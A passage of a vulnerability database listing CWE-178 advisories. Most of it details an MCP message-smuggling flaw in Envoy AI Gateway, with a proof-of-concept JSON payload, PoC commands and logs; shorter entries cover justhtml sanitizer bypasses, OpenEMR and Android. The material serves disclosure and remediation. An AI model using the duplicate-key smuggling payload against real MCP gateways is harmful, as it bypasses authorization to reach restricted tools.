        onErrorResponse(w, http.StatusBadRequest, err.Error())
        return
    }

    rawMsg, err := jsonrpc.DecodeMessage(body)
    ...

If the request method is tools/call, the following code is executed at ai-gateway/internal/mcpproxy/handlers.go:366

        case "tools/call":
            params = &mcp.CallToolParams{}
            span, err = parseParamsAndMaybeStartSpan(ctx, m, msg, params, r.Header)
            if err != nil {
                errType = metrics.MCPErrorInvalidParam
                m.l.Error("Failed to unmarshal params", slog.String("method", msg.Method), slog.String("error", err.Error()))
                onErrorResponse(w, http.StatusBadRequest, "invalid params")
                return
            }
            err = m.handleToolCallRequest(ctx, s, w, msg, params.(*mcp.CallToolParams), span, r)

At this point, the params object is a mcp.CallToolParams struct incorrectly parsed by Anthropic's jsonrpc.DecodeMessage as case insentitive object. The params object is then passed to handleToolCallRequest function, which will execute the tool call.

See at definition of handleToolCallRequest at ai-gateway/internal/mcpproxy/handlers.go:638

func (m *mcpRequestContext) handleToolCallRequest(ctx context.Context, s *session, w http.ResponseWriter, req *jsonrpc.Request, p *mcp.CallToolParams, span tracingapi.MCPSpan, r *http.Request) error {

    // ... REDACTED CODE TO Enforce authentication and authorizationif required by the route ...

    // Send the request to the MCP backend listener.
    p.Name = toolName
    param, _ := json.Marshal(p)
    if m.l.Enabled(ctx, slog.LevelDebug) {
        logger := m.l.With(slog.String("tool", p.Name), slog.Any("session", cse))
        logger.Debug("Routing to backend")
    }
    if span != nil {
        span.RecordRouteToBackend(backend.Name, string(cse.sessionID), false)
    }
    req.Params = param
    return m.invokeAndProxyResponse(ctx, s, w, backend, cse, req)
}

In the code pattern above, the final alteration of the MCP message happens. The function is using as json parser the wrapper around sonic (ai-gateway/internal/json), which is a case-insensitive parser, to reserialize the parameter struct with json.Marshal.

When the struct is re-marshaled, it uses the exact casing defined in the struct's JSON tag. This allows an attacker to "smuggle" a malicious value through a non-standard key name, bypassing case-sensitive filters on previous stages of the request handling by other MCP-compliant components.

In conclusion, the described MCP message alteration is ensuring that the final proxied version by Envoy-AI Gateway will become "canonical" and delivered upstream with smuggled malicious values.

Other Message Types

The Parser Differential is not limited to tools/call. It is a pervasive design issue caused by the Go SDK and Sonic manipulation of MCP Messages.

List of smuggling sinks: - tools/call - prompts/get - resources/read

In conclusion, the reported smuggling problem is systemic in the AI Proxy.

Proof of Concept

Payload:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "backend__greet",      // SAFE: Validated & Allowed by Edge Proxy
    "Name": "backend__secretTool", // UNSAFE: By-passes Edge authz checks, altered by Envoy and delivered upstream
    "arguments": {"name": "Exploit"}
  },
  "id": 1
}

Scenario:

image

The full PoC can be downloaded as envoy-security@googlegroups.com at: https://doyensec.sendsafely.com/receive/?thread=3574-4CPK&packageCode=lAXsPv8NK0tR0VTEXno9DZjFB5Ph3eKaSER6rpiirvk#keyCode=R_jMV3ENlORCmzkka3jwupPgsUq-TqNOAoizUqzlWHg

Prerequisites are having installed: Minikube, Docker and Helm.

In order to reproduce the scenario, it is sufficient to run the described stack with the commands below:

chmod +x full_PoC.sh
./full_PoC.sh

The PoC will: 1. Start a MCP-cmpliant downstream proxy that should block requests to backend__secretTool 2. Start the Envoy AI Gateway and configure it as basic router 3. Start an upstream MCP server exposing backend__secretTool and backend_greet 4. Send MCP tools/call requests to the downstream proxy to demonstrate the vulnerability

It is also possible to inspect the full traffic proccessing logs at PoC/logs/.

The example below shows the final PoC smuggled message received and executed by the upstream MCP Server:

cat PoC/logs/server_container.log

...[REDACTED]...
INFO:     10.244.0.6:33404 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.055237] ← PROCESSED MCP REQ: initialize
INFO:     10.244.0.6:33404 - "POST /mcp HTTP/1.1" 202 Accepted
INFO:     10.244.0.6:33420 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.334681] → RECEIVED MCP REQ: tools/list
[2026-02-11T14:57:11.334924]   Payload: {
  "method": "tools/list",
  "params": null
}
[2026-02-11T14:57:11.335298] ← PROCESSED MCP REQ: tools/list
[2026-02-11T14:57:11.336396] → RECEIVED MCP REQ: tools/call
[2026-02-11T14:57:11.336467]   Payload: {
  "task": null,
  "meta": null,
  "name": "greet",
  "arguments": {
    "name": "User"
  }
}
[2026-02-11T14:57:11.336665] greet called with name=User
[2026-02-11T14:57:11.336935] ← PROCESSED MCP REQ: tools/call
INFO:     10.244.0.6:33420 - "POST /mcp HTTP/1.1" 200 OK
[2026-02-11T14:57:11.552185] → RECEIVED MCP REQ: tools/call
[2026-02-11T14:57:11.552341]   Payload: {
  "task": null,
  "meta": null,
  "name": "secretTool",
  "arguments": {
    "name": "ExploitUser"
  }
}
[2026-02-11T14:57:11.552422] LEAK: secretTool called with name=ExploitUser
[2026-02-11T14:57:11.552483] ← PROCESSED MCP REQ: tools/call

While below is reported the log of the downstream compliant proxy that allowed the message as compliant greet command before it was smuggled by Envoy AI Proxy:

2026-02-11 14:57:11,408 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__secretTool', 'arguments': {'name': 'Hacker'}} jsonrpc='2.0' id=3 [tool: backend__secretTool]
2026-02-11 14:57:11,408 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__secretTool
2026-02-11 14:57:11,408 - downstream-proxy - WARNING - BLOCKED: Attempt to call restricted tool 'backend__secretTool'
INFO:     127.0.0.1:33768 - "POST /mcp HTTP/1.1" 403 Forbidden
2026-02-11 14:57:11,514 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__greet', 'arguments': {'name': 'ExploitUser'}, 'Name': 'backend__secretTool'} jsonrpc='2.0' id=3 [tool: backend__greet]
2026-02-11 14:57:11,514 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__greet
2026-02-11 14:57:11,514 - downstream-proxy - INFO - ALLOWED: Tool 'backend__greet' passed policy check.
2026-02-11 14:57:11,578 - httpx - INFO - HTTP Request: POST http://envoy-default-aigw-run-85f8cf28.envoy-gateway-system.svc.cluster.local:1975/mcp "HTTP/1.1 200 OK"
INFO:     127.0.0.1:33780 - "POST /mcp HTTP/1.1" 200 OK

Impact

This vulnerability makes downstream authorization layers ineffective when Envoy AI Gateway is used as a router. By altering the message content, Envoy effectively acts as a "Confused Deputy" that: 1. Trusted Input: Takes input trusted by the other MCP-compliant actors 2. Malicious Transformation: Converts it into a totally different, but compliant, MCP message. Violating the transparency nature of proxies and altering a valid request into a malicious one 3. Trusted Output: Sends it off as a valid request to the upstream backend

Authentication and Authorization guarantees provided by prior actors or MCP manipulations are nullified because the original message is not the message the target Backend receives.

Remediation

  1. Strict Protocol Compliance Envoy AI Gateway must enforce Strict Case Sensitivity during JSON unmarshalling to comply with JSON-RPC 2.0.

  2. Reject Unknown Fields In Protocol Reserved Areas Enable DisallowUnknownFields.

  3. Preserve Integrity If Envoy acts as a transparent router, it should avoid unnecessary re-serialization of the payload body unless modification is explicitly required and safe. If normalization is required, it must be lossless and strictly validated.

It should be highlighted that after our root-cause analysis, github.com/modelcontextprotocol/go-sdk is ultimately responsible for the initial part the issue. As a result, we would expect the maintainers to fix the vulnerability upstream.

As a general recommendation, Envoy AI Gateway should use a JSON RPC parser and subsequent JSON parsing strategies in sonic which are following the SPEC to prevent the differentials, forcing the case sensitive matching on MCP messages.

Doyensec has already reported the Go-SDK violation of the JSON RPC Specification via Hackerone.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/envoyproxy/ai-gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:18:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Envoy AI Gateway was found to be affected by a protocol parser differential vulnerability due to improper implementation of the JSON-RPC 2.0 specification. Such differential causes a MCP message alteration, potentially causing a bypass of security controls in a multi-layered architecture.\n\nAccording to the JSON RPC Spec used by Model Context Protocol, JSON RPC should be case sensitive https://www.jsonrpc.org/specification\n\n```\n[...]\nAll member names exchanged between the Client and the Server that are considered for matching of any kind should be considered to be case-sensitive. The terms function, method, and procedure can be assumed to be interchangeable.\n```\n\nThe AI Gateway is accepting and processing case-variant fields that compliant MCP implementations correctly ignore. Crucially, Envoy does not just \"pass through\" the message by acting as a transparent proxy, it alters the traffic, allowing smuggling of unwanted requests. \n\nThe following steps represent the incoming message alteration:\n1. **Incoming MCP Message**:\n\n```\n{\n    id: 1,\n    jsonrpc: \"2.0\",\n    method: \"tools/call\",\n    params: {\n        name: \"backend__greet\",\n        Name: \"backend__secretTool\",\n        arguments: {\n            name: \"World!\"\n        },\n        Arguments: {\n            name: \"Exploit\"\n        }\n    }\n}\n```\n\n2. **Parses** the request, picking the non-standard `Name` field over the authorized `name` field due to internal case-insentitive parsing by libraries such as `modelcontextprotocol/go-sdk/jsonrpc` and `github.com/bytedance/sonic`\n3.  **Overwrites** the authorized \"backend__greet\" value from the valid `name` field with the malicious value from the `Name` field\n4.  **Normalizes** the injected \"backend__secretTool\" value (from the invalid `Name` field)\n5.  **Re-serializes** the request into a new, valid MCP JRPC payload (`{\"name\": \"backend__secretTool\"}`) and forwards it upstream\n\nThis \"smuggling\" effect means Envoy actively transforms a request that might have been checked by any prior MCP-compliant implementation into a request that is **valid and altered** (from the perspective of the upstream backend), effectively introducing protocol modifications that may allow bypassing any prior authorization layer. \n\n## Root Cause Analysis\n\nThe root cause is a parser differential combined with serialization quirk typical of Go-based JSON parsers:\n\n1. **Case-Insensitive Unmarshaling** - When parsing a JSON key into a struct field, Go\u0027s `json.Unmarshal` looks for an a case-insensitive match. Go matches \"Name\" to the struct tag `json:\"name\"`. If `\"name\": \"safe\"` is also present, the last key processed wins, allowing an attacker to inject a different tool name when the MCP message reaches the Go-SDK parsing\n2. **Strict Struct-Tag Marshaling** - When converting a struct back to JSON, Go always uses the exact key specified in the Struct `json:\"...\"` tag. Consequently, an overwritten value from a cased field could be stored in a proper lowercased parameter, later processed by a spec-compliant MCP message receiver\n\nThe vulnerability involves the usage of the `jsonrpc` module of `github.com/modelcontextprotocol/go-sdk`, which is not following the MCP mandated JSON RPC spec for messages parsing, using case insensitive matching.\n\nThe non-compliant parsing primitive is `jsonrpc.DecodeMessage`, it is widely used to parse the incoming MCP messages.\nSee at:\n- `ai-gateway/internal/mcpproxy/handlers.go:242,739`\n- `ai-gateway/internal/mcpproxy/mcpproxy.go:303`\n- `ai-gateway/internal/mcpproxy/session.go:409`\n- `ai-gateway/internal/mcpproxy/sse.go:88`\n\nConsequently, internals relying on objects parsed with the cited primitive are using case-insentive parsing, also subject to Unicode to ASCII Folding. \n\nFurthermore, the internal logic is also relying on the `internal/json` package, acting as a wrapper around `github.com/bytedance/sonic` (Sonic), a high-performance JSON library that defaults to loose, case-insensitive unmarshalling.\n\n**File**: `internal/json/json.go`\n```go\nimport (\n\tsonicjson \"github.com/bytedance/sonic\"\n)\nvar (\n\tUnmarshal = sonicjson.ConfigDefault.Unmarshal\n    Marshal   = sonicjson.ConfigDefault.Marshal\n)\n``` \n\nIn combination with the above mentioned spec departure, the message MCP message reconstruction logic is causing an alteration of the protocol calls passing through the gateway.\n\n### Example Vulnerable Data Flow - tools/call\n\nThe alteration occurs in `ai-gateway/internal/mcpproxy/handlers.go:180` during the processing of a function `servePOST`.\n\nAs an example, we can focus on the processing of incoming MCP `tools/call` requests.\n\nWhen the gateway receives a JSON-RPC request, it executes `servePOST` function, which then calls `jsonrpc.DecodeMessage` to parse the body of the bytes read from the request.\n\nSee at `ai-gateway/internal/mcpproxy/handlers.go:235-242`\n```go\n...\n\tbody, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\terrType = metrics.MCPErrorInternal\n\t\tonErrorResponse(w, http.StatusBadRequest, err.Error())\n\t\treturn\n\t}\n\n\trawMsg, err := jsonrpc.DecodeMessage(body)\n    ...\n```\n\nIf the request method is `tools/call`, the following code is executed at `ai-gateway/internal/mcpproxy/handlers.go:366`\n\n```go\n\t\tcase \"tools/call\":\n\t\t\tparams = \u0026mcp.CallToolParams{}\n\t\t\tspan, err = parseParamsAndMaybeStartSpan(ctx, m, msg, params, r.Header)\n\t\t\tif err != nil {\n\t\t\t\terrType = metrics.MCPErrorInvalidParam\n\t\t\t\tm.l.Error(\"Failed to unmarshal params\", slog.String(\"method\", msg.Method), slog.String(\"error\", err.Error()))\n\t\t\t\tonErrorResponse(w, http.StatusBadRequest, \"invalid params\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = m.handleToolCallRequest(ctx, s, w, msg, params.(*mcp.CallToolParams), span, r)\n```\n\nAt this point, the `params` object is a `mcp.CallToolParams` struct incorrectly parsed by Anthropic\u0027s `jsonrpc.DecodeMessage` as case insentitive object. The `params` object is then passed to `handleToolCallRequest` function, which will execute the tool call.\n\nSee at definition of `handleToolCallRequest` at `ai-gateway/internal/mcpproxy/handlers.go:638`\n```go\nfunc (m *mcpRequestContext) handleToolCallRequest(ctx context.Context, s *session, w http.ResponseWriter, req *jsonrpc.Request, p *mcp.CallToolParams, span tracingapi.MCPSpan, r *http.Request) error {\n\n\t// ... REDACTED CODE TO Enforce authentication and authorizationif required by the route ...\n\n\t// Send the request to the MCP backend listener.\n\tp.Name = toolName\n\tparam, _ := json.Marshal(p)\n\tif m.l.Enabled(ctx, slog.LevelDebug) {\n\t\tlogger := m.l.With(slog.String(\"tool\", p.Name), slog.Any(\"session\", cse))\n\t\tlogger.Debug(\"Routing to backend\")\n\t}\n\tif span != nil {\n\t\tspan.RecordRouteToBackend(backend.Name, string(cse.sessionID), false)\n\t}\n\treq.Params = param\n\treturn m.invokeAndProxyResponse(ctx, s, w, backend, cse, req)\n}\n```\n\nIn the code pattern above, the final alteration of the MCP message happens. The function is using as `json` parser the wrapper around `sonic` (`ai-gateway/internal/json`), which is a case-insensitive parser, to reserialize the parameter struct with `json.Marshal`.\n\nWhen the struct is **re-marshaled**, it uses the exact casing defined in the struct\u0027s JSON tag. This allows an attacker to \"smuggle\" a malicious value through a non-standard key name, bypassing case-sensitive filters on previous stages of the request handling by other MCP-compliant components.\n\nIn conclusion, the described MCP message alteration is ensuring that the final proxied version by Envoy-AI Gateway will become \"canonical\" and delivered upstream with smuggled malicious values.\n\n### Other Message Types\n\nThe Parser Differential is not limited to `tools/call`. It is a pervasive design issue caused by the Go SDK and Sonic manipulation of MCP Messages.\n\nList of smuggling sinks:\n- `tools/call` \n- `prompts/get`\n- `resources/read`\n\nIn conclusion, the reported smuggling problem is systemic in the AI Proxy.\n\n## Proof of Concept\n\nPayload:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"backend__greet\",      // SAFE: Validated \u0026 Allowed by Edge Proxy\n    \"Name\": \"backend__secretTool\", // UNSAFE: By-passes Edge authz checks, altered by Envoy and delivered upstream\n    \"arguments\": {\"name\": \"Exploit\"}\n  },\n  \"id\": 1\n}\n```\n\nScenario:\n\n\u003cimg width=\"1588\" height=\"407\" alt=\"image\" src=\"https://github.com/user-attachments/assets/326731f0-515c-489b-87f3-b386b1e1831d\" /\u003e\n\nThe full PoC can be downloaded as `envoy-security@googlegroups.com` at: https://doyensec.sendsafely.com/receive/?thread=3574-4CPK\u0026packageCode=lAXsPv8NK0tR0VTEXno9DZjFB5Ph3eKaSER6rpiirvk#keyCode=R_jMV3ENlORCmzkka3jwupPgsUq-TqNOAoizUqzlWHg\n\nPrerequisites are having installed: Minikube, Docker and Helm.\n\nIn order to reproduce the scenario, it is sufficient to run the described stack with the commands below:\n```\nchmod +x full_PoC.sh\n./full_PoC.sh\n```\n\nThe PoC will:\n1. Start a MCP-cmpliant downstream proxy that should block requests to `backend__secretTool`\n2. Start the Envoy AI Gateway and configure it as basic router\n3. Start an upstream MCP server exposing `backend__secretTool` and `backend_greet`\n4. Send MCP `tools/call` requests to the downstream proxy to demonstrate the vulnerability\n\nIt is also possible to inspect the full traffic proccessing logs at `PoC/logs/`.\n\nThe example below shows the final PoC smuggled message received and executed by the upstream MCP Server:\n\n```\ncat PoC/logs/server_container.log\n\n...[REDACTED]...\nINFO:     10.244.0.6:33404 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.055237] \u2190 PROCESSED MCP REQ: initialize\nINFO:     10.244.0.6:33404 - \"POST /mcp HTTP/1.1\" 202 Accepted\nINFO:     10.244.0.6:33420 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.334681] \u2192 RECEIVED MCP REQ: tools/list\n[2026-02-11T14:57:11.334924]   Payload: {\n  \"method\": \"tools/list\",\n  \"params\": null\n}\n[2026-02-11T14:57:11.335298] \u2190 PROCESSED MCP REQ: tools/list\n[2026-02-11T14:57:11.336396] \u2192 RECEIVED MCP REQ: tools/call\n[2026-02-11T14:57:11.336467]   Payload: {\n  \"task\": null,\n  \"meta\": null,\n  \"name\": \"greet\",\n  \"arguments\": {\n    \"name\": \"User\"\n  }\n}\n[2026-02-11T14:57:11.336665] greet called with name=User\n[2026-02-11T14:57:11.336935] \u2190 PROCESSED MCP REQ: tools/call\nINFO:     10.244.0.6:33420 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.552185] \u2192 RECEIVED MCP REQ: tools/call\n[2026-02-11T14:57:11.552341]   Payload: {\n  \"task\": null,\n  \"meta\": null,\n  \"name\": \"secretTool\",\n  \"arguments\": {\n    \"name\": \"ExploitUser\"\n  }\n}\n[2026-02-11T14:57:11.552422] LEAK: secretTool called with name=ExploitUser\n[2026-02-11T14:57:11.552483] \u2190 PROCESSED MCP REQ: tools/call\n```\n\nWhile below is reported the log of the downstream compliant proxy that allowed the message as compliant `greet` command before it was smuggled by Envoy AI Proxy:\n\n```\n2026-02-11 14:57:11,408 - downstream-proxy - INFO - Incoming request: method=\u0027tools/call\u0027 params={\u0027name\u0027: \u0027backend__secretTool\u0027, \u0027arguments\u0027: {\u0027name\u0027: \u0027Hacker\u0027}} jsonrpc=\u00272.0\u0027 id=3 [tool: backend__secretTool]\n2026-02-11 14:57:11,408 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__secretTool\n2026-02-11 14:57:11,408 - downstream-proxy - WARNING - BLOCKED: Attempt to call restricted tool \u0027backend__secretTool\u0027\nINFO:     127.0.0.1:33768 - \"POST /mcp HTTP/1.1\" 403 Forbidden\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - Incoming request: method=\u0027tools/call\u0027 params={\u0027name\u0027: \u0027backend__greet\u0027, \u0027arguments\u0027: {\u0027name\u0027: \u0027ExploitUser\u0027}, \u0027Name\u0027: \u0027backend__secretTool\u0027} jsonrpc=\u00272.0\u0027 id=3 [tool: backend__greet]\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__greet\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - ALLOWED: Tool \u0027backend__greet\u0027 passed policy check.\n2026-02-11 14:57:11,578 - httpx - INFO - HTTP Request: POST http://envoy-default-aigw-run-85f8cf28.envoy-gateway-system.svc.cluster.local:1975/mcp \"HTTP/1.1 200 OK\"\nINFO:     127.0.0.1:33780 - \"POST /mcp HTTP/1.1\" 200 OK\n```\n\n## Impact\nThis vulnerability makes downstream authorization layers ineffective when Envoy AI Gateway is used as a router. By altering the message content, Envoy effectively acts as a \"Confused Deputy\" that:\n1.  **Trusted Input**: Takes input trusted by the other MCP-compliant actors \n2.  **Malicious Transformation**: Converts it into a totally different, but compliant, MCP message. Violating the transparency nature of proxies and altering a valid request into a malicious one\n3.  **Trusted Output**: Sends it off as a valid request to the upstream backend\n\nAuthentication and Authorization guarantees provided by prior actors or MCP manipulations are nullified because the original message **is not** the message the target Backend receives.\n\n## Remediation\n\n1. Strict Protocol Compliance\nEnvoy AI Gateway must enforce **Strict Case Sensitivity** during JSON unmarshalling to comply with JSON-RPC 2.0.\n\n2. Reject Unknown Fields In Protocol Reserved Areas\nEnable `DisallowUnknownFields`.\n\n3. Preserve Integrity\nIf Envoy acts as a transparent router, it should avoid unnecessary re-serialization of the payload body unless modification is explicitly required and safe. If normalization is required, it must be lossless and strictly validated.\n\nIt should be highlighted that after our root-cause analysis, `github.com/modelcontextprotocol/go-sdk` is ultimately responsible for the initial part the issue. As a result, we would expect the maintainers to fix the vulnerability upstream.\n\nAs a general recommendation, Envoy AI Gateway should use a JSON RPC parser and subsequent JSON parsing strategies in `sonic` which are following the SPEC to prevent the differentials, forcing the case sensitive matching on MCP messages. \n\nDoyensec has already reported the Go-SDK violation of the JSON RPC Specification via Hackerone.",
  "id": "GHSA-4gph-2hhr-5mwg",
  "modified": "2026-05-19T16:18:14Z",
  "published": "2026-05-19T16:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/envoyproxy/ai-gateway/security/advisories/GHSA-4gph-2hhr-5mwg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/envoyproxy/ai-gateway"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Envoy AI Proxy - MCP Message Smuggling Vulnerability"
}

GHSA-4P64-V8F5-R2GX

Vulnerability from github – Published: 2026-04-14 20:05 – Updated: 2026-04-14 20:05
VLAI
Summary
Multiple security fixes in justhtml
Details

Summary

justhtml 1.16.0 fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.

Most of these issues affected one of these advanced paths rather than ordinary parsed HTML with the default safe settings:

  • programmatic DOM input to sanitize() or sanitize_dom()
  • reused or mutated sanitization policy objects
  • custom policies that preserve foreign namespaces such as SVG or MathML

Affected versions

  • justhtml <= 1.15.0

Fixed version

  • justhtml 1.16.0 released on April 12, 2026

Impact

Policy reuse and mutation

Nested mutation of sanitization policy internals could weaken later sanitization by leaving stale compiled sanitizers active, or by mutating exported default policy internals process-wide.

In-memory sanitization gaps

Programmatic DOM sanitization could miss dangerous mixed-case tag names such as ScRiPt or StYlE, and custom drop_content_tags values such as {"SCRIPT"} could silently fail to drop dangerous subtrees.

Serialization injection

Crafted programmatic doctype names could serialize into active markup before the document body.

Foreign-namespace policy bypasses

Custom policies that preserve SVG or MathML could allow active SVG features to survive sanitization, including:

  • animation elements such as <set> and <animate> that mutate already-sanitized attributes after sanitization
  • presentation attributes such as fill, clip-path, mask, marker-start, and cursor containing external url(...) references
  • programmatic DOM trees that claim namespace="html" but serialize as <svg> or <math>, bypassing foreign-content checks

Rawtext hardening gap

Mixed-case programmatic style or script nodes could bypass rawtext hardening and preserve active stylesheet content such as remote @import rules.

Default configuration

Most of these issues did not affect the normal JustHTML(..., sanitize=True) path for ordinary parsed HTML.

The main exceptions were policy-mutation issues, which could weaken later sanitization if code mutated nested state on reused policy objects or exported defaults.

Recommended action

Upgrade to justhtml 1.16.0.

If you cannot upgrade immediately:

  • do not mutate DEFAULT_POLICY, DEFAULT_DOCUMENT_POLICY, or nested policy internals
  • avoid reusing policy objects after mutating nested state
  • avoid preserving SVG or MathML for untrusted input
  • avoid preserving style or script in custom policies for untrusted input
  • avoid serializing untrusted programmatic doctypes or DOM trees

Credit

Discovered during an internal security review of justhtml.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.15.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "justhtml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-436",
      "CWE-471",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:05:10Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`justhtml` `1.16.0` fixes multiple security issues in sanitization, serialization, and programmatic DOM handling.\n\nMost of these issues affected one of these advanced paths rather than ordinary parsed HTML with the default safe settings:\n\n- programmatic DOM input to `sanitize()` or `sanitize_dom()`\n- reused or mutated sanitization policy objects\n- custom policies that preserve foreign namespaces such as SVG or MathML\n\n## Affected versions\n\n- `justhtml` `\u003c= 1.15.0`\n\n## Fixed version\n\n- `justhtml` `1.16.0` released on April 12, 2026\n\n## Impact\n\n### Policy reuse and mutation\nNested mutation of sanitization policy internals could weaken later sanitization by leaving stale compiled sanitizers active, or by mutating exported default policy internals process-wide.\n\n### In-memory sanitization gaps\nProgrammatic DOM sanitization could miss dangerous mixed-case tag names such as `ScRiPt` or `StYlE`, and custom `drop_content_tags` values such as `{\"SCRIPT\"}` could silently fail to drop dangerous subtrees.\n\n### Serialization injection\nCrafted programmatic doctype names could serialize into active markup before the document body.\n\n### Foreign-namespace policy bypasses\nCustom policies that preserve SVG or MathML could allow active SVG features to survive sanitization, including:\n\n- animation elements such as `\u003cset\u003e` and `\u003canimate\u003e` that mutate already-sanitized attributes after sanitization\n- presentation attributes such as `fill`, `clip-path`, `mask`, `marker-start`, and `cursor` containing external `url(...)` references\n- programmatic DOM trees that claim `namespace=\"html\"` but serialize as `\u003csvg\u003e` or `\u003cmath\u003e`, bypassing foreign-content checks\n\n### Rawtext hardening gap\nMixed-case programmatic `style` or `script` nodes could bypass rawtext hardening and preserve active stylesheet content such as remote `@import` rules.\n\n## Default configuration\n\nMost of these issues did **not** affect the normal `JustHTML(..., sanitize=True)` path for ordinary parsed HTML.\n\nThe main exceptions were policy-mutation issues, which could weaken later sanitization if code mutated nested state on reused policy objects or exported defaults.\n\n## Recommended action\n\nUpgrade to `justhtml` `1.16.0`.\n\nIf you cannot upgrade immediately:\n\n- do not mutate `DEFAULT_POLICY`, `DEFAULT_DOCUMENT_POLICY`, or nested policy internals\n- avoid reusing policy objects after mutating nested state\n- avoid preserving SVG or MathML for untrusted input\n- avoid preserving `style` or `script` in custom policies for untrusted input\n- avoid serializing untrusted programmatic doctypes or DOM trees\n\n## Credit\n\nDiscovered during an internal security review of `justhtml`.",
  "id": "GHSA-4p64-v8f5-r2gx",
  "modified": "2026-04-14T20:05:10Z",
  "published": "2026-04-14T20:05:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-4p64-v8f5-r2gx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EmilStenstrom/justhtml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Multiple security fixes in justhtml"
}

GHSA-4QCM-H32C-8XQ3

Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-07-13 00:01
VLAI
Details

In OpenEMR, versions v2.7.2-rc1 to 6.0.0 are vulnerable to Improper Access Control when creating a new user, which leads to a malicious user able to read and send sensitive messages on behalf of the victim user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-22T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In OpenEMR, versions v2.7.2-rc1 to 6.0.0 are vulnerable to Improper Access Control when creating a new user, which leads to a malicious user able to read and send sensitive messages on behalf of the victim user.",
  "id": "GHSA-4qcm-h32c-8xq3",
  "modified": "2022-07-13T00:01:11Z",
  "published": "2022-05-24T17:45:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25920"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openemr/openemr/commit/0fadc3e592d84bc9dfe9e0403f8bd6e3c7d8427f"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25920"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-52QV-5PM8-P78H

Vulnerability from github – Published: 2021-12-16 00:01 – Updated: 2021-12-18 00:01
VLAI
Details

In isFileUri of UriUtil.java, there is a possible way to bypass ignoring file://URI attachment due to improper handling of case sensitivity. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-197328178

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-0973"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-15T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In isFileUri of UriUtil.java, there is a possible way to bypass ignoring file://URI attachment due to improper handling of case sensitivity. This could lead to local information disclosure with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-197328178",
  "id": "GHSA-52qv-5pm8-p78h",
  "modified": "2021-12-18T00:01:29Z",
  "published": "2021-12-16T00:01:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0973"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2021-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
